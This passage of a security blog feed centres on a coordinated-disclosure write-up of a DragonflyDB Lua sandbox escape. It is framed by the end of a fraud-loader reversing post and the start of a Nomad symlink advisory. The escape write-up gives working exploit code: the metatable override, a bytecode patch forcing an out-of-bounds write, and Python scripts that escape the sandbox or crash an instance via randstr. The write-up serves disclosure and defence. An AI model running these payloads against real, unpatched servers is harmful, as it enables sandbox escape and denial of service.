<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="o">&gt;&gt;&gt;</span> <span class="kn">import</span> <span class="nn">loader</span>
  <span class="o">&gt;&gt;&gt;</span> <span class="n">loader</span><span class="p">.</span><span class="n">get_key</span><span class="p">()</span>
  <span class="s">'f30db728b353376862dcddc6c618a12b'</span>
</code></pre></div></div>

<p>There’s the real DES key, truncated to its first eight bytes (<code class="language-plaintext highlighter-rouge">f30db728</code>) for
the single DES schedule. How <code class="language-plaintext highlighter-rouge">get_key()</code> actually arrives at it I have no idea.
But that’s the entire point: I never needed to know. The loader runs the algo
itself on every call and hands back the answer, and because the whole point of
this loader is to get that key, I just needed to run it!</p>

<p>And the key is hardcoded. The same eight bytes in every build, not created per
user, not fetched from a server, just a constant the loader reads out of
itself.</p>

<h3 id="the-embedded-self-test">The embedded self-test</h3>

<p>There is one more thing baked into the loader: a 536-character blob of that
same scrambled Base64, sitting in the read-only data at offset <code class="language-plaintext highlighter-rouge">0x4a4c0</code>. Run
it back through the pipeline above and it decrypts cleanly into a real code
object. It’s a self-test, a sample the loader can unpack against itself to
prove the machinery still works, and it tells me something too. The decrypt
touched no network. For this tier the loader is the whole story: key,
algorithm, and a sample to run them on, all sealed in one file. Track B is
where the operator decides that was the mistake.</p>

<hr />

<h2 id="decryption">Decryption</h2>

<p>A note on what I am and am not publishing, because it matters here. The Track A
recipe is complete: the key is hardcoded, it’s the same eight bytes for every
xxwppp payload (a sister cluster of repos on the same loader), and the
pipeline is seven well-known steps. Anyone who read this post could rebuild a
script that decrypts every one of those fraud payloads. That is the whole
problem with a hardcoded key. It buys no confidentiality at all, not against me
and not against the next person.</p>

<p>So I’m publishing the method and the lesson, not the loaded gun. You’ve seen
the algorithm, the alphabet, the pipeline, and the fact that the key is
<code class="language-plaintext highlighter-rouge">f30db728...</code>. What I’m holding back is the copy-paste, turn-key script that
takes a repo file in and prints runnable fraud code out. The method is the
interesting part and the part defenders need; the turn-key tool only helps the
next operator. Track B needs no such restraint, there’s nothing to hold back,
because without the C2 key there is nothing to decrypt.</p>

<p>That tier is <a href="/security/2026/06/23/the-great-rust-wall/">the next post</a>,
the one where the operator finally put the key somewhere I couldn’t reach
(like a high shelf).</p>

<hr />

<h2 id="resources">Resources</h2>

<ul>
  <li><a href="https://cython.org/">Cython</a>, for how a compiled <code class="language-plaintext highlighter-rouge">.so</code> can still be a Python
module you import and call, as long as you match the interpreter version.</li>
  <li><a href="https://en.wikipedia.org/wiki/Data_Encryption_Standard">DES</a>, the cipher the
loader runs, hand-ported out of a JavaScript implementation rather than taken
from a crypto library.</li>
  <li><a href="https://docs.python.org/3/library/marshal.html">Python’s <code class="language-plaintext highlighter-rouge">marshal</code></a> and
<a href="https://docs.python.org/3/c-api/veryhigh.html#c.PyEval_EvalCode"><code class="language-plaintext highlighter-rouge">PyEval_EvalCode</code></a>,
the last two steps of the Track A pipeline.</li>
</ul>]]></content><author><name>Alex Manson</name></author><category term="Security" /><summary type="html"><![CDATA[How a Chinese reward-farming scene seals its fraud scripts, and the old Cython DES loader I reversed end to end. The key was baked into the binary, so it protected nothing.]]></summary></entry><entry><title type="html">DragonflyDB Lua sandbox escape via getmetatable(_G) metatable override</title><link href="https://neurowinter.com/security/2026/06/10/DragonflyDB-Lua-sandbox-escape-via-getmetatable(_G)-metatable-override/" rel="alternate" type="text/html" title="DragonflyDB Lua sandbox escape via getmetatable(_G) metatable override" /><published>2026-06-10T00:00:00+12:00</published><updated>2026-06-10T00:00:00+12:00</updated><id>https://neurowinter.com/security/2026/06/10/DragonflyDB-Lua-sandbox-escape-via-getmetatable(_G)-metatable-override</id><content type="html" xml:base="https://neurowinter.com/security/2026/06/10/DragonflyDB-Lua-sandbox-escape-via-getmetatable(_G)-metatable-override/"><![CDATA[<h2 id="tldr">TLDR:</h2>

<ul>
  <li>A full Lua sandbox escape in DragonflyDB, a protection-mechanism failure (CWE-693). Three lines overwrite the <code class="language-plaintext highlighter-rouge">_G</code> metatable and hand back <code class="language-plaintext highlighter-rouge">rawset</code>, <code class="language-plaintext highlighter-rouge">rawget</code>, <code class="language-plaintext highlighter-rouge">string.dump</code>, <code class="language-plaintext highlighter-rouge">load</code>, and the rest of what the sandbox tries to hide.</li>
  <li>The only thing you need is the ability to run <code class="language-plaintext highlighter-rouge">EVAL</code>.</li>
  <li>From there it chains: call registered C functions with controlled args, leak pointers via <code class="language-plaintext highlighter-rouge">tostring</code>, and force an out-of-bounds write (CWE-787), a reliable SIGSEGV, through a crafted-bytecode <code class="language-plaintext highlighter-rouge">SETUPVAL</code> index.</li>
  <li>Separate bug, same file: <code class="language-plaintext highlighter-rouge">dragonfly.randstr</code> has no size check (CWE-789). <code class="language-plaintext highlighter-rouge">return dragonfly.randstr(1000000000)</code> allocates gigabytes and drops the instance.</li>
  <li>Where it stops: no OS-level RCE. <code class="language-plaintext highlighter-rouge">io</code> and <code class="language-plaintext highlighter-rouge">os</code> aren’t loaded and nothing dangerous is registered to Lua, a deliberate call by the team, and the only reason this isn’t worse.</li>
  <li><strong>Affected:</strong> everything before v1.39.0 (verified v1.34.2–v1.38.1 + main).</li>
  <li><strong>Patched:</strong> v1.39.0, 9 June 2026.</li>
  <li><strong>Running <code class="language-plaintext highlighter-rouge">EVAL</code> anywhere untrusted? Upgrade to v1.39.0, or gate <code class="language-plaintext highlighter-rouge">EVAL</code>/<code class="language-plaintext highlighter-rouge">EVALSHA</code> behind ACLs until you can.</strong></li>
</ul>

<hr />

<h2 id="background">Background</h2>

<p>I’d been reading Dragonfly’s source on a weekend, mostly because I wanted to
see how a from scratch Redis compatible server handles scripting and how I
could abuse it. Redis style <code class="language-plaintext highlighter-rouge">EVAL</code> is one of those features that looks small
from the outside and is a whole lot more intersting when you look at it more:
you’re handing an attacker a real programming language and then trying to fence
off the dangerous parts of it after the fact. This sort of thing is done a lot
with vendored versions of databases. They often have fun things inside that can
be dangerous to the owner of the server if they let a user play too much, think
Postgres’s <code class="language-plaintext highlighter-rouge">lo_import</code>.</p>

<p>Dragonfly fences it with a metatable. When the interpreter spins up, <code class="language-plaintext highlighter-rouge">InitLua</code>
loads a handful of libraries (base, table, string, math, debug, plus
cjson/struct/cmsgpack/bit), and then runs a small Lua chunk it calls
<code class="language-plaintext highlighter-rouge">@enable_strict_lua</code> to lock the global table down. That chunk is the whole
sandbox for global access, and it lives in <code class="language-plaintext highlighter-rouge">src/core/interpreter.cc</code> around
lines 386–407:</p>

<div class="language-lua highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">local</span> <span class="n">dbg</span><span class="o">=</span><span class="n">debug</span>
<span class="kd">local</span> <span class="n">mt</span> <span class="o">=</span> <span class="p">{}</span>

<span class="nb">setmetatable</span><span class="p">(</span><span class="n">_G</span><span class="p">,</span> <span class="n">mt</span><span class="p">)</span>
<span class="n">mt</span><span class="p">.</span><span class="n">__newindex</span> <span class="o">=</span> <span class="k">function</span> <span class="p">(</span><span class="n">t</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">v</span><span class="p">)</span>
  <span class="k">if</span> <span class="n">dbg</span><span class="p">.</span><span class="n">getinfo</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span> <span class="k">then</span>
    <span class="kd">local</span> <span class="n">w</span> <span class="o">=</span> <span class="n">dbg</span><span class="p">.</span><span class="n">getinfo</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="s2">"S"</span><span class="p">).</span><span class="n">what</span>
    <span class="k">if</span> <span class="n">w</span> <span class="o">~=</span> <span class="s2">"main"</span> <span class="ow">and</span> <span class="n">w</span> <span class="o">~=</span> <span class="s2">"C"</span> <span class="k">then</span>
      <span class="nb">error</span><span class="p">(</span><span class="s2">"Script attempted to create global variable '"</span><span class="o">..</span><span class="nb">tostring</span><span class="p">(</span><span class="n">n</span><span class="p">)</span><span class="o">..</span><span class="s2">"'"</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span>
    <span class="k">end</span>
  <span class="k">end</span>
  <span class="nb">rawset</span><span class="p">(</span><span class="n">t</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">v</span><span class="p">)</span>
<span class="k">end</span>
<span class="n">mt</span><span class="p">.</span><span class="n">__index</span> <span class="o">=</span> <span class="k">function</span> <span class="p">(</span><span class="n">t</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
  <span class="k">if</span> <span class="n">dbg</span><span class="p">.</span><span class="n">getinfo</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span> <span class="ow">and</span> <span class="n">dbg</span><span class="p">.</span><span class="n">getinfo</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="s2">"S"</span><span class="p">).</span><span class="n">what</span> <span class="o">~=</span> <span class="s2">"C"</span> <span class="k">then</span>
    <span class="nb">error</span><span class="p">(</span><span class="s2">"Script attempted to access nonexistent global variable '"</span><span class="o">..</span><span class="nb">tostring</span><span class="p">(</span><span class="n">n</span><span class="p">)</span><span class="o">..</span><span class="s2">"'"</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span>
  <span class="k">end</span>
  <span class="k">return</span> <span class="nb">rawget</span><span class="p">(</span><span class="n">t</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
<span class="k">end</span>
<span class="n">debug</span> <span class="o">=</span> <span class="kc">nil</span>
</code></pre></div></div>

<p>Take a second look at that code block… The protection is two closures on the
<code class="language-plaintext highlighter-rouge">_G</code> metatable. <code class="language-plaintext highlighter-rouge">__newindex</code> stops you creating globals, <code class="language-plaintext highlighter-rouge">__index</code> stops you
reading globals that don’t exist. After it’s set up, <code class="language-plaintext highlighter-rouge">debug</code> is nil’d, and
elsewhere <code class="language-plaintext highlighter-rouge">loadfile</code> and <code class="language-plaintext highlighter-rouge">dofile</code> get nil’d too.</p>

<p>Two things never get taken away: <code class="language-plaintext highlighter-rouge">rawset</code> and <code class="language-plaintext highlighter-rouge">getmetatable</code>. And the metatable
<code class="language-plaintext highlighter-rouge">mt</code> is a plain table sitting one <code class="language-plaintext highlighter-rouge">getmetatable</code> call away.</p>

<p>That’s the bug. The lock and the key are in the same drawer!!</p>

<hr />

<h2 id="the-escape">The escape</h2>

<p><code class="language-plaintext highlighter-rouge">getmetatable(_G)</code> returns <code class="language-plaintext highlighter-rouge">mt</code>. <code class="language-plaintext highlighter-rouge">rawset</code> is still global. So you write
straight over the two guard closures with permissive ones and because
<code class="language-plaintext highlighter-rouge">rawset</code> bypasses metatables, the existing <code class="language-plaintext highlighter-rouge">__newindex</code> guard can’t even fire
to stop you:</p>

<div class="language-lua highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">local</span> <span class="n">mt</span> <span class="o">=</span> <span class="nb">getmetatable</span><span class="p">(</span><span class="n">_G</span><span class="p">)</span>
<span class="nb">rawset</span><span class="p">(</span><span class="n">mt</span><span class="p">,</span> <span class="s2">"__newindex"</span><span class="p">,</span> <span class="k">function</span><span class="p">(</span><span class="n">t</span><span class="p">,</span><span class="n">n</span><span class="p">,</span><span class="n">v</span><span class="p">)</span> <span class="nb">rawset</span><span class="p">(</span><span class="n">t</span><span class="p">,</span><span class="n">n</span><span class="p">,</span><span class="n">v</span><span class="p">)</span> <span class="k">end</span><span class="p">)</span>
<span class="nb">rawset</span><span class="p">(</span><span class="n">mt</span><span class="p">,</span> <span class="s2">"__index"</span><span class="p">,</span> <span class="k">function</span><span class="p">(</span><span class="n">t</span><span class="p">,</span><span class="n">n</span><span class="p">)</span> <span class="k">return</span> <span class="nb">rawget</span><span class="p">(</span><span class="n">t</span><span class="p">,</span><span class="n">n</span><span class="p">)</span> <span class="k">end</span><span class="p">)</span>
</code></pre></div></div>

<p>Three lines and after that the global creation and global reads are wide open,
and the functions the sandbox was relying on staying hidden are all reachable.</p>

<p>Here is a quick check that I ran to test it:</p>

<div class="language-lua highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">rawset</span><span class="p">(</span><span class="n">_G</span><span class="p">,</span> <span class="s2">"TEST"</span><span class="p">,</span> <span class="mi">123</span><span class="p">)</span>
<span class="kd">local</span> <span class="n">bc</span> <span class="o">=</span> <span class="nb">string.dump</span><span class="p">(</span><span class="k">function</span><span class="p">()</span> <span class="k">return</span> <span class="mi">1</span> <span class="k">end</span><span class="p">)</span>
<span class="kd">local</span> <span class="n">f</span> <span class="o">=</span> <span class="nb">load</span><span class="p">(</span><span class="n">bc</span><span class="p">,</span> <span class="s2">"test"</span><span class="p">,</span> <span class="s2">"b"</span><span class="p">)</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">string.dump</code> gives you compiled bytecode. <code class="language-plaintext highlighter-rouge">load(..., "b")</code> reads compiled
bytecode back. Both are right there once the guards are gone. This is the core
issue (a protection mechanism failure, CWE-693) and everything below relies on
this.</p>

<p>None of this is new code, either. That metatable approach has been Dragonfly’s
Lua sandbox since the earliest public builds, and <code class="language-plaintext highlighter-rouge">dragonfly.randstr</code> has been
around since roughly v1.15.0. So “affected” is basically every release before
v1.39.0. I verified it from v1.34.2 through v1.38.1 (the latest tagged release
at report time) and main, and v1.38.1 still ships the unpatched version.</p>

<hr />

<h2 id="what-the-bypass-opens-up">What the bypass opens up</h2>

<p>Once you’re out, a few different things open up to you. None of them is the
headline (the headline is that you’re out at all), but they’re worth walking
through because they’re the next reach and they map onto what got patched.</p>

<p><strong>C function injection / type confusion.</strong> Functions are first class in Lua,
and after the escape you have references to the registered C functions. You can
park them in table slots and call them with whatever arguments you like:</p>

<div class="language-lua highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">T</span> <span class="o">=</span> <span class="p">{</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">}</span>
<span class="n">T</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="nb">type</span>             <span class="c1">-- a C function, now living in a table slot</span>
<span class="n">result</span> <span class="o">=</span> <span class="n">T</span><span class="p">[</span><span class="mi">2</span><span class="p">](</span><span class="s2">"hello"</span><span class="p">)</span>  <span class="c1">-- "string"</span>
<span class="c1">-- same trick works with tostring, rawget, select, and other friends</span>
</code></pre></div></div>

<p>On its own that’s just calling builtins. The part that matters for anyone
trying to go further: <code class="language-plaintext highlighter-rouge">tostring</code> on a function hands back the pointer as text,
so this is also a memory address leak past ASLR. Hold that thought for the
Where it stops section.</p>

<p><strong>Bytecode manipulation and an out of bounds write (CWE-787).</strong> With
<code class="language-plaintext highlighter-rouge">string.dump</code> and <code class="language-plaintext highlighter-rouge">load</code> both reachable you can round trip bytecode through
your own patcher. The Lua VM doesn’t validate the <code class="language-plaintext highlighter-rouge">SETUPVAL</code> index coming out
of loaded bytecode, so a negative index is an out of bounds write. Easiest way
to see it is to dump a closure, find the <code class="language-plaintext highlighter-rouge">SETUPVAL</code> instruction, and rewrite
its index:</p>

<div class="language-lua highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">local</span> <span class="k">function</span> <span class="nf">template</span><span class="p">()</span>
  <span class="kd">local</span> <span class="n">x</span> <span class="o">=</span> <span class="mh">0xDEAD</span>
  <span class="k">return</span> <span class="k">function</span><span class="p">()</span>
    <span class="n">x</span> <span class="o">=</span> <span class="mh">0x16</span>
  <span class="k">end</span>
<span class="k">end</span>

<span class="kd">local</span> <span class="n">bc</span> <span class="o">=</span> <span class="nb">string.dump</span><span class="p">(</span><span class="n">template</span><span class="p">)</span>

<span class="c1">-- Patch the SETUPVAL instruction to use a negative index (OOB write)</span>
<span class="k">for</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">40</span><span class="p">,</span> <span class="o">#</span><span class="n">bc</span> <span class="o">-</span> <span class="mi">4</span> <span class="k">do</span>
  <span class="kd">local</span> <span class="n">inst</span> <span class="o">=</span> <span class="nb">string.unpack</span><span class="p">(</span><span class="s2">"&lt;I4"</span><span class="p">,</span> <span class="n">bc</span><span class="p">,</span> <span class="n">i</span><span class="p">)</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">inst</span> <span class="err">&amp;</span> <span class="mh">0x7F</span><span class="p">)</span> <span class="o">==</span> <span class="mh">0x18</span> <span class="k">then</span>
    <span class="n">inst</span> <span class="o">=</span> <span class="p">(</span><span class="n">inst</span> <span class="err">&amp;</span> <span class="mh">0x7FFF</span><span class="p">)</span> <span class="err">|</span> <span class="p">(</span><span class="mh">0xFF</span> <span class="o">&lt;&lt;</span> <span class="mi">15</span><span class="p">)</span>
    <span class="n">bc</span> <span class="o">=</span> <span class="n">bc</span><span class="p">:</span><span class="n">sub</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">i</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="o">..</span> <span class="nb">string.pack</span><span class="p">(</span><span class="s2">"&lt;I4"</span><span class="p">,</span> <span class="n">inst</span><span class="p">)</span> <span class="o">..</span> <span class="n">bc</span><span class="p">:</span><span class="n">sub</span><span class="p">(</span><span class="n">i</span><span class="o">+</span><span class="mi">4</span><span class="p">)</span>
    <span class="k">break</span>
  <span class="k">end</span>
<span class="k">end</span>

<span class="kd">local</span> <span class="n">f</span> <span class="o">=</span> <span class="nb">load</span><span class="p">(</span><span class="n">bc</span><span class="p">,</span> <span class="s2">"oob"</span><span class="p">,</span> <span class="s2">"b"</span><span class="p">)</span>
<span class="kd">local</span> <span class="n">inner</span> <span class="o">=</span> <span class="n">f</span><span class="p">()</span>
<span class="n">inner</span><span class="p">()</span>  <span class="c1">-- writes 0x16 to memory at the upvalue[-1] location</span>
</code></pre></div></div>

<p>That’s a write where it shouldn’t be, and it’ll take the process down with a
SIGSEGV. It is a crash/OOB write primitive, not a controlled write to anything
primitive. More on why in a moment.</p>

<p><strong>Multi EVAL state persistence.</strong> Globals survive across <code class="language-plaintext highlighter-rouge">EVAL</code> commands on the
same connection. So you don’t have to cram the whole thing into one script; you
can set up the escape in one call and use it in the next:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">redis</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">redis</span><span class="p">.</span><span class="n">Redis</span><span class="p">(</span><span class="n">host</span><span class="o">=</span><span class="s">'target'</span><span class="p">,</span> <span class="n">port</span><span class="o">=</span><span class="mi">6379</span><span class="p">,</span> <span class="n">password</span><span class="o">=</span><span class="s">'xxx'</span><span class="p">)</span>

<span class="c1"># EVAL 1: escape the sandbox &amp; leave a global behind
</span><span class="n">r</span><span class="p">.</span><span class="nb">eval</span><span class="p">(</span><span class="s">'''
local mt = getmetatable(_G)
rawset(mt, "__newindex", function(t,n,v) rawset(t,n,v) end)
rawset(mt, "__index", function(t,n) return rawget(t,n) end)
EXPLOIT_STATE = {step = 1}
'''</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>

<span class="c1"># EVAL 2: the global is still there
</span><span class="n">result</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="nb">eval</span><span class="p">(</span><span class="s">'return EXPLOIT_STATE.step'</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>  <span class="c1"># 1
</span></code></pre></div></div>

<p>That’s a delivery convenience more than a bug of its own, but it changes what
an attacker has to fit in a single payload, so I flagged it. Though it does not
achive much at all.</p>

<hr />

<h2 id="where-it-stops">Where it stops</h2>

<p>This is the part I want to be straight up about, because it’s most of the work
and none of the win.</p>

<p>I tried real hard to take the OOB write and the C function reach somewhere real
something like a rce or anything more than what it is right now. I threw more
than 4.2 billion fuzzing attempts at the <code class="language-plaintext highlighter-rouge">SETUPVAL</code> OOB alone over multiple
nights, looking for a path from “negative index write” to controlled execution.
I got crashes. Left right an centre, just crashes. I got pointer leaks out of
<code class="language-plaintext highlighter-rouge">tostring</code>. I did not get OS level RCE, and I’m fairly confident it isn’t there
from this surface.</p>

<p>The reason is boring and it’s the right kind of boring: <code class="language-plaintext highlighter-rouge">io</code> and <code class="language-plaintext highlighter-rouge">os</code> are never
loaded into the Lua state, and nothing like <code class="language-plaintext highlighter-rouge">popen</code> is registered. So the
type confusion / C function call trick has nothing dangerous to reach. You can
call <code class="language-plaintext highlighter-rouge">type</code> and <code class="language-plaintext highlighter-rouge">tostring</code> all day yay… There just is no <code class="language-plaintext highlighter-rouge">os.execute</code> sitting
in the registry to find. The dangerous primitives that would normally turn a
Lua sandbox escape into a shell just aren’t present.</p>

<p>So: full sandbox escape, a memory corruption crash, an address leak, and a
bloody brick wall past that, put there on purpose. Credit where it’s due. That
defense in depth call is the difference between this and a much worse report.</p>

<hr />

<h2 id="the-dos">The DoS</h2>

<p>Different bug, same file, no escape required. <code class="language-plaintext highlighter-rouge">dragonfly.randstr</code>
(<code class="language-plaintext highlighter-rouge">src/core/interpreter.cc</code>, around 467–506) reads its size argument and
allocates straight away with no upper bound:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">DragonflyRandstrCommand</span><span class="p">(</span><span class="n">lua_State</span><span class="o">*</span> <span class="n">state</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">int</span> <span class="n">argc</span> <span class="o">=</span> <span class="n">lua_gettop</span><span class="p">(</span><span class="n">state</span><span class="p">);</span>
  <span class="n">lua_Integer</span> <span class="n">dsize</span> <span class="o">=</span> <span class="n">lua_tonumber</span><span class="p">(</span><span class="n">state</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
  <span class="n">lua_remove</span><span class="p">(</span><span class="n">state</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>

  <span class="n">std</span><span class="o">::</span><span class="n">string</span> <span class="n">buf</span><span class="p">(</span><span class="n">dsize</span><span class="p">,</span> <span class="sc">' '</span><span class="p">);</span>
  <span class="p">...</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">dsize</code> comes from the script, <code class="language-plaintext highlighter-rouge">std::string buf(dsize, ' ')</code> tries to allocate
that many bytes. One command, gigabytes requested, instance gone:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">redis</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">redis</span><span class="p">.</span><span class="n">Redis</span><span class="p">(</span><span class="n">host</span><span class="o">=</span><span class="s">'target'</span><span class="p">,</span> <span class="n">port</span><span class="o">=</span><span class="mi">6379</span><span class="p">,</span> <span class="n">password</span><span class="o">=</span><span class="s">'xxx'</span><span class="p">,</span> <span class="n">socket_timeout</span><span class="o">=</span><span class="mi">5</span><span class="p">)</span>

<span class="k">try</span><span class="p">:</span>
  <span class="n">r</span><span class="p">.</span><span class="nb">eval</span><span class="p">(</span><span class="s">'return dragonfly.randstr(1000000000)'</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
<span class="k">except</span> <span class="n">redis</span><span class="p">.</span><span class="n">exceptions</span><span class="p">.</span><span class="nb">TimeoutError</span><span class="p">:</span>
  <span class="k">print</span><span class="p">(</span><span class="s">"Service crashed"</span><span class="p">)</span>
</code></pre></div></div>

<p>That’s CWE-789, a memory allocation sized straight from an unvalidated
argument. It needs <code class="language-plaintext highlighter-rouge">EVAL</code> and nothing else.</p>

<hr />

<h2 id="the-fix">The fix</h2>

<p>The fixes were already going up in the repo before I’d even had a human reply
(more on the timeline below). Three PRs cover it, all landed in v1.39.0:</p>

<ul>
  <li><strong>PR #7370: sandbox hardening.</strong> <code class="language-plaintext highlighter-rouge">rawset</code>, <code class="language-plaintext highlighter-rouge">setmetatable</code>, and <code class="language-plaintext highlighter-rouge">getmetatable</code> are now overridden to block access to <code class="language-plaintext highlighter-rouge">_G</code> and the global library tables, and guard metatables are attached so scripts can’t replace or corrupt them across executions. This is the one that actually closes the escape: take <code class="language-plaintext highlighter-rouge">rawset</code> and <code class="language-plaintext highlighter-rouge">getmetatable</code> off the table and the three line trick has nothing to grab.
    <ul>
      <li>Worth a note: the automated review on that PR flagged that an early version of the guard still let you mutate the returned metatable’s fields directly (<code class="language-plaintext highlighter-rouge">mt.__newindex = nil</code> via a normal table assignment rather than <code class="language-plaintext highlighter-rouge">rawset</code>). Same shape as the original bug, one rung down. That’s why the shipped fix also pins guard metatables onto the global tables instead of only wrapping <code class="language-plaintext highlighter-rouge">rawset</code>. Good catch by whoever was reviewing.</li>
    </ul>
  </li>
  <li><strong>PR #7368: randstr validation.</strong> Argument count, type, and size are now checked (count 1–32768, size 1–16 MiB). The unbounded <code class="language-plaintext highlighter-rouge">std::string</code> allocation is gone.</li>
  <li><strong>PR #7376: load restricted to text only.</strong> <code class="language-plaintext highlighter-rouge">load</code> is wrapped to force mode <code class="language-plaintext highlighter-rouge">"t"</code> and returns nil for any binary input regardless of the mode the caller asks for. That kills the bytecode path specifically: you can still escape into <code class="language-plaintext highlighter-rouge">load</code> in theory, but you can’t feed it crafted compiled bytecode anymore, so the <code class="language-plaintext highlighter-rouge">SETUPVAL</code> trick has no way in.</li>
</ul>

<p>If you want the one line version: v1.39.0 takes away the keys
(<code class="language-plaintext highlighter-rouge">rawset</code>/<code class="language-plaintext highlighter-rouge">getmetatable</code>), bolts the bytecode door (<code class="language-plaintext highlighter-rouge">load</code> text only), and
bounds the allocation (<code class="language-plaintext highlighter-rouge">randstr</code>).</p>

<hr />

<h2 id="disclosure">Disclosure</h2>

<p>I emailed the Dragonfly team on 18 May with the escape, the escalations off it,
and the <code class="language-plaintext highlighter-rouge">randstr</code> DoS, noting I’d verified everything on v1.34.2 through
v1.38.1 and main at <code class="language-plaintext highlighter-rouge">baa09014</code>. I offered to validate a patch once they had
one.</p>

<p>The email side was quiet. Ari Shotland picked it up on 21 May and pulled in
Roman Gershman, their CTO. Roman’s reply, in full, was “Thanks for letting us
know!” :)</p>

<p>Normally that’s the kind of response that makes you wonder if anything’s
happening. It wasn’t. The patches had started going up on the 20th. PR #7368
and PR #7370 were both open a day before the first human reply, and #7376 went
up on the 21st. Quiet on email, fast in the repo. I’ll take that over the
reverse any day.</p>

<p>v1.39.0 shipped on 9 June with all three fixes folded into a big release (the
Lua hardening is a few lines in a changelog that’s mostly full text search
work). On 10 June I asked Roman whether the team planned to request a CVE, and
whether I was clear to write this up. He said go ahead on the blog and offered
to help with the CVE. That part’s still in motion. I’m working out whether to
drive it through a GitHub advisory or straight through MITRE.</p>

<hr />

<h2 id="timeline">Timeline</h2>

<ul>
  <li>18 May 2026: Reported the Lua sandbox escape, the escalations, and the <code class="language-plaintext highlighter-rouge">randstr</code> DoS to the Dragonfly team. Verified on v1.34.2–v1.38.1 and main (<code class="language-plaintext highlighter-rouge">baa09014</code>).</li>
  <li>20 May 2026: Fixes start landing: PR #7368 (randstr validation) and PR #7370 (sandbox hardening) opened.</li>
  <li>21 May 2026: Ari Shotland replied and looped in Roman Gershman (CTO). PR #7376 (load text-only) opened the same day.</li>
  <li>22 May 2026: Roman acknowledged: “Thanks for letting us know!”</li>
  <li>9 June 2026: v1.39.0 released, bundling all three Lua fixes.</li>
  <li>10 June 2026: Confirmed with Roman that I could write this up; CVE still being sorted (GitHub advisory vs MITRE).</li>
</ul>

<hr />

<h2 id="appendix-a-resources">Appendix A: Resources</h2>

<ul>
  <li><a href="https://github.com/dragonflydb/dragonfly/pull/7370">PR #7370: Harden sandbox by protecting rawset, setmetatable, and getmetatable</a></li>
  <li><a href="https://github.com/dragonflydb/dragonfly/pull/7368">PR #7368: Add input size validation to dragonfly.randstr()</a></li>
  <li><a href="https://github.com/dragonflydb/dragonfly/pull/7376">PR #7376: Restrict load() to text only mode</a></li>
  <li><a href="https://github.com/dragonflydb/dragonfly/releases/tag/v1.39.0">Dragonfly v1.39.0 release</a></li>
  <li>Vulnerable file: <code class="language-plaintext highlighter-rouge">src/core/interpreter.cc</code> (sandbox init ~386–407, <code class="language-plaintext highlighter-rouge">dragonfly.randstr</code> ~467–506)</li>
</ul>

<hr />]]></content><author><name>Alex Manson</name></author><category term="Security" /><summary type="html"><![CDATA[A full Lua sandbox escape in DragonflyDB via getmetatable(_G) metatable override, the escalations it opens up, and an unbounded-allocation DoS in dragonfly.randstr. Affected: all versions before v1.39.0. Patched: v1.39.0.]]></summary></entry><entry><title type="html">HashiCorp Nomad FIFO symlink attack (CVE-2026-6959, CVE-2026-8052)</title><link href="https://neurowinter.com/security/2026/05/18/HashiCorp-Nomad-FIFO-symlink-attack/" rel="alternate" type="text/html" title="HashiCorp Nomad FIFO symlink attack (CVE-2026-6959, CVE-2026-8052)" /><published>2026-05-18T00:00:00+12:00</published><updated>2026-05-18T00:00:00+12:00</updated><id>https://neurowinter.com/security/2026/05/18/HashiCorp-Nomad-FIFO-symlink-attack</id><content type="html" xml:base="https://neurowinter.com/security/2026/05/18/HashiCorp-Nomad-FIFO-symlink-attack/"><![CDATA[<h2 id="tldr">TLDR:</h2>

<ul>
  <li>HashiCorp Nomad and Nomad Enterprise from <strong>0.9 through 2.0.0</strong> are vulnerable to arbitrary file read and write on the client host as the Nomad process user. CVE-2026-6959, CWE-59, CNA score 6.0 (<code class="language-plaintext highlighter-rouge">CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:N</code>).</li>
  <li>The exec2 task driver prior to 0.1.2 has the same class of bug. CVE-2026-8052, CWE-59, CNA score 6.0.</li>
  <li>A task container can replace the FIFO used for stdout/stderr log streaming with a symlink to any file on the host. When the task restarts, logmon reopens the FIFO path, follows the symlink, and reads or writes the target as the Nomad process user.</li>
  <li>The root cause is in logmon, so any driver that bind-mounts <code class="language-plaintext highlighter-rouge">/alloc/logs</code> writable into the task is affected. Podman is just where I found it.</li>
  <li>The affected range starts at Nomad 0.9 — this surface had been present for years.</li>
